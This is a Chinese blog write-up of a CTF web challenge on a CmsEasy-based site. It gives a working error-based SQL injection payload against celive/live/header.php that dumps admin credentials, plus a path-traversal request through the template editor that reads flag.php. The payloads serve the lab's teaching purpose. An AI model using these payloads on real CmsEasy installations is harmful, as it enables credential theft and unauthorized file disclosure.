CTF || 【“百度杯”CTF比赛 九月场 Web】YeserCMS

【“百度杯”CTF比赛 九月场 Web】YeserCMS
题目内容:新的CMS系统,帮忙测测是否有漏洞。tips:flag在网站根目录下的flag.php中
分值:50分 类型:Web

SQL注入、任意文件下载漏洞

点击文档下载,评论区看到cmseasy。


image.png

搜索cmseasy公开漏洞,可以查到许多通用漏洞
https://www.seebug.org/appdir/CmsEasy
使用无限制报错注入
https://www.seebug.org/vuldb/ssvid-94084

celive/live/header.php同时postdataxajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
用burpsuite抓包,发现postdata的数据被截断了,只显示xajax=Postdata&xajaxargs%5B0%5D=%3Cxjxquery%3E%3Cq%3Edetail,send to repeater,将这一部分替换为detail参数的部分用urlencode编码2次的数据(只用编码detail参数,xajax=Postdata&xajaxargs[0]=<xjxquery><q>和</q></xjxquery>不变),即xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Csubstring%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528username%252Cpassword%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>,go,可以看到返回

XPATH syntax error: '[adminff512d4240cbbdeafada404677'<br /><br />INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--  (2018-08-13 15:52:38)','2')

得到用户名和密码adminff512d4240cbbdeafada404677
XPATH syntax error可以显示32位,其中[固定占以为。md5的长度也不够,还是需要调整1,32为7,39,来查看完整的md5
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252c(UpdateXML(1%252cCONCAT(0x5b%252csubstring((SELECT%252f**%252fGROUP_CONCAT(username%252cpassword)%2bfrom%2byesercms_user)%252c7%252c39)%252c0x5d)%252c1))%252cNULL%252cNULL%252cNULL%252cNULL%252cNULL%252cNULL)--%2b</q></xjxquery>
repeater返回

XPATH syntax error: '[f512d4240cbbdeafada404677ccbe61'<br /><br />INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),7,39),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--  (2018-08-13 16:22:21)','2')

用户名admin,密码ff512d4240cbbdeafada404677ccbe61,md5解密为Yeser231。(抄个答案,http://www.cmd5.com/表示已查到,这是一条付费记录。请点击购买……)

登陆-管理-模版当前模版编辑-编辑,抓包,repeater,将&id=#ditu_html改为&id=../../flag.php,go,返回

{"content":"<textarea rows=\"20\" cols=\"78\" id=\"..\/..\/flag.php_content\" style=\"font-family: Fixedsys,verdana,宋体; font-size: 12px;\" name=\"..\/..\/flag.php_content\"><?php\necho 'flag is here';\n'flag{6a92aba5-a8f2-4147-ac14-79dc32fb5959}';\n<\/textarea>"}

得到flag。

关于无限制报错注入https://www.seebug.org/vuldb/ssvid-94084的分析
其中payload的引号内部分经过两次URLdecode后为
detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- 获取用户名|密码
xxxxxx'闭合参数。
0x5b是十六进制,5b对应[,5d对应]。
concat(username,'|',password)是username|password
GROUP_CONCAT(concat(username,'|',password))是username|password,sername|password,……
SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user 其中/**/是注释,/*+ 提示 */ 来进行sql优化,如果写的HINTS语法错误,也就被忽略为注释了,sql并不会报错。Oracle Hints是一种机制,用来告诉优化器按照我们的告诉它的方式生成执行计划。从cmseasy_user中找出username和password。
mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32)从第一个开始,选32个
为什么有两次URLdecode?因为有两次URLencode,一次是parse_str(sQuery,aArray),这个函数,本身会对url编码进行一次decode;另一次是hackbar的postdata要编码,url为什么要编码

参考
https://blog.csdn.net/qq_19876131/article/details/52432140
https://blog.csdn.net/qq_31481187/article/details/52602454
https://bbs.ichunqiu.com/thread-17629-1-1.html?from=hot6
http://www.bubuko.com/infodetail-2562477.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,634评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,951评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,427评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,770评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,835评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,799评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,768评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,544评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,979评论 1 308
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,271评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,427评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,121评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,756评论 3 324
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,375评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,579评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,410评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,315评论 2 352

推荐阅读更多精彩内容

  • ORACLE自学教程 --create tabletestone ( id number, --序号usernam...
    落叶寂聊阅读 1,077评论 0 0
  • 2018/3/16 17:34:51 WEB题 1.签到题 题目:key在哪里? writeup:查看源代码即可获...
    Sec小玖阅读 22,383评论 1 11
  • 1. Java基础部分 基础部分的顺序:基本语法,类相关的语法,内部类的语法,继承相关的语法,异常的语法,线程的语...
    子非鱼_t_阅读 31,621评论 18 399
  • 2、顺口能编出一首歌来唱给妈妈听。是一个有创造力的孩子。 3、自己趴在枕头上哭了起来,妈妈问她为什么?她说妈妈不爱...
    银小娟阅读 76评论 0 0
  • 文/梅子花开 听说小外甥女用刀子割自己的手,双手被她自己割的伤痕累累,那一瞬间,我的心莫名地疼了一下。 小外甥女今...
    梅子花开心语阅读 480评论 2 1